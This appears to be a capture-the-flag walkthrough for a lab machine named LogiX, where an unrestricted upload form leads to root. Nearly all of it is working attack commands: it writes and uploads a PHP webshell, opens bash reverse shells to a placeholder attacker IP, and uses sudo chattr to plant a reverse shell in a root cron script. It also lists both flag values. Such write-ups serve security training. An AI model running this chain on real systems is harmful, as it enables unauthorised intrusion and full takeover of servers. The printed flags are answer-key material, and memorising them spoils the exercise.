LogiX

Unrestricted File Upload → PHP RCE

Phase 1 — Recon

nmap -sC -sV <TARGET_IP>

Apache/PHP on port 80, gallery portal at /gallery/.

Phase 2 — Explore the Upload Form

The gallery index.php lets you upload any file with no extension filtering:

curl -s http://<TARGET_IP>/gallery/ | grep -i form

Phase 3 — Upload a PHP Webshell

echo '<' '?' 'php system($_GET["cmd"]); ?' '>' > shell.php
curl -F 'asset_file=@shell.php' -F 'submit_asset=1' http://<TARGET_IP>/gallery/index.php

The file lands unmodified in /gallery/uploads/ since there’s no validation.

Phase 4 — RCE & Reverse Shell

curl "http://<TARGET_IP>/gallery/uploads/shell.php?cmd=id"

Get a reverse shell:

nc -lvnp 4444
curl -G "http://<TARGET_IP>/gallery/uploads/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"

Phase 5 — User Flag

cat /var/www/user.txt

Phase 6 — Privilege Escalation (sudo chattr)

sudo -l

www-data can run /usr/bin/chattr as root NOPASSWD. The immutable maintenance script /opt/maintenance/system_sync.sh is run every minute by root cron — remove the immutable flag and overwrite it:

sudo chattr -i /opt/maintenance/system_sync.sh
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/5555 0>&1' >> /opt/maintenance/system_sync.sh
nc -lvnp 5555
# wait up to 60s for the root cron to fire

Phase 7 — Root Flag

cat /root/root.txt

Flags

Type	Flag	Path
user	366c33872635a1876a7e81dcb41c2c7f	/var/www/user.txt
root	f6ac549abf1488ed9f493197000b372c	/root/root.txt